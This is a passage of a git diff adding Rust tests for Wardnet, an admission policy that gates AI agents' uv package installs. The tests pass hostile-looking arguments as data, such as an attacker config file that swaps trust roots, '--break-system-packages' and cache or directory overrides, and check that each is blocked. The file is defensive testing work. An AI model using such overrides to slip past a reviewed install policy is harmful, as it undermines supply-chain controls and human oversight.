managed Python installation must not inherit ordinary artifact approval" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "uv break-system-packages authority must carry the stable missing_safety_flag reason: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_options_preserve_break_system_packages_causal_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + "--break-system-packages".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase break-system-packages causal evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_system_package_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--no-python-downloads", + "--break-system-package", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--break-system-packages", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "nearby spelling or non-install uv grammar must not inherit install-scope system-package authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-break-system-packages-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-break-system-packages-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs new file mode 100644 index 00000000..a1c602b4 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs @@ -0,0 +1,123 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_with_default_build_isolation_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_no_build_isolation_is_bound_as_unapproved_build_variant() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-build-isolation".to_string()); + + assert_build_variant_is_blocked(&policy, &intent); +} + +#[test] +fn uv_package_scoped_no_build_isolation_is_bound_as_unapproved_build_variant() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.extend([ + "--no-build-isolation-package".to_string(), + "cwl-example".to_string(), + ]); + + assert_build_variant_is_blocked(&policy, &intent); +} + +#[test] +fn uv_nearby_long_option_spelling_does_not_inherit_build_isolation_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-build-isolatio".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn assert_build_variant_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv PEP 517 build-isolation override must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "uv build-isolation selection is already canonical artifact/build-variant authority" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-build-isolation-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-build-isolation-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs new file mode 100644 index 00000000..4c31ee52 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -0,0 +1,290 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_bytecode_compilation_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_compile_bytecode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--compile-bytecode".to_string()); + + assert_bytecode_compilation_is_blocked(&policy, &intent); +} + +#[test] +fn uv_compile_alias_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--compile".to_string()); + + assert_bytecode_compilation_is_blocked(&policy, &intent); +} + +#[test] +fn uv_run_bytecode_compilation_preserves_generated_artifact_evidence() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + compile_flag.to_string(), + "cwl-example==1.2.3".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv-owned bytecode compilation must retain generated-artifact authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn delegated_uv_run_child_compile_flags_are_not_reinterpreted_as_uv_authority() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "cwl-example==1.2.3".to_string(), + compile_flag.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "delegated child argv must not be reinterpreted as uv bytecode authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn nearby_uv_run_compile_spelling_does_not_inherit_uv_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--compile-bytecodex".to_string(), + "cwl-example==1.2.3".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "Wardnet must not invent uv bytecode semantics for nearby option spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_options_preserve_pip_install_bytecode_authority_evidence() { + for compile_flag in ["--compile-bytecode", "--compile"] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + compile_flag.to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "global-option uv grammar remains outside the supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "uv pip install bytecode authority must survive reviewed global options: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_global_option_controls_do_not_fabricate_pip_install_bytecode_authority() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-deps", + "--compile-bytecodex", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--compile-bytecode", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "nearby spelling or non-install pip command must not inherit bytecode authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn assert_bytecode_compilation_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected eager bytecode materialization must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "uv bytecode compilation must fail causally as unreviewed generated-artifact authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-bytecode-compilation-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-bytecode-compilation-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs new file mode 100644 index 00000000..58b6f6f7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_cache_dir_authority_contract.rs @@ -0,0 +1,158 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_cache_directory_preserves_causal_install_root_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!( + control.decision, + DecisionKind::Allow, + "the exact reviewed uv pip install must remain admissible before adding caller-selected cache authority" + ); + + for prefix in [ + vec!["uv", "--cache-dir", "/tmp/wardnet-uv-cache"], + vec!["uv", "--cache-dir=/tmp/wardnet-uv-cache"], + ] { + let mut hostile = baseline.clone(); + hostile.argv = prefix.into_iter().map(str::to_string).collect(); + hostile.argv.extend(baseline.argv.iter().skip(1).cloned()); + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "parser-valid uv --cache-dir must preserve stable caller-selected filesystem/cache authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_global_cache_directory_does_not_inherit_pip_option_abbreviations() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--cache-di".to_string(), + "/tmp/wardnet-uv-cache".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "uv must not inherit pip optparse abbreviation semantics for a near-spelling global option: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_non_install_command_does_not_gain_install_scope_cache_authority_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--cache-dir".to_string(), + "/tmp/wardnet-uv-cache".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "non-install uv grammar must not inherit install-scope cache-directory authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-cache-dir-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs new file mode 100644 index 00000000..2083323f --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs @@ -0,0 +1,184 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn reviewed_uv_install_without_config_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_attached_config_file_cannot_replace_reviewed_package_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--config-file=/tmp/attacker-uv.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "caller-selected uv config can replace index and trust settings: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_separate_config_file_value_is_classified_as_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--config-file".to_string()); + intent.argv.push("/tmp/attacker-uv.toml".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an incidental positional-operand rejection must not hide the config authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_separate_config_file_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-file".to_string(), + "/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --config-file must preserve the causal alternate_trust_root evidence even while the command grammar remains unsupported: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_attached_config_file_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-file=/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --config-file= must preserve the causal alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_nearby_config_file_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-filex=/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv global-option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-config-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs new file mode 100644 index 00000000..5e4d6107 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_configuration_parser_phase_contract.rs @@ -0,0 +1,131 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, sha256_hex, +}; + +#[test] +fn unsupported_uv_run_child_argv_does_not_inherit_install_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + + for argv in [ + vec!["uv", "run", "python", "--config-file=/tmp/attacker-uv.toml"], + vec![ + "uv", + "run", + "python", + "--config-file", + "/tmp/attacker-uv.toml", + ], + vec!["uv", "run", "python", "--directory=/tmp/attacker-project"], + vec![ + "uv", + "run", + "python", + "--directory", + "/tmp/attacker-project", + ], + ] { + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed at the command boundary: {:?}", + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "arguments delegated to the uv run child command must not be reinterpreted as Agent Artifact Admission configuration-authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); + } +} + +#[test] +fn uv_run_owned_configuration_authority_before_child_remains_visible() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--config-file".to_string(), + "/tmp/attacker-uv.toml".to_string(), + "python".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "unsupported uv run must remain fail-closed: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv run configuration selectors before the child are consumed by uv and must remain Wardnet configuration-authority evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-configuration-parser-phase".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs new file mode 100644 index 00000000..2648f244 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs @@ -0,0 +1,224 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, 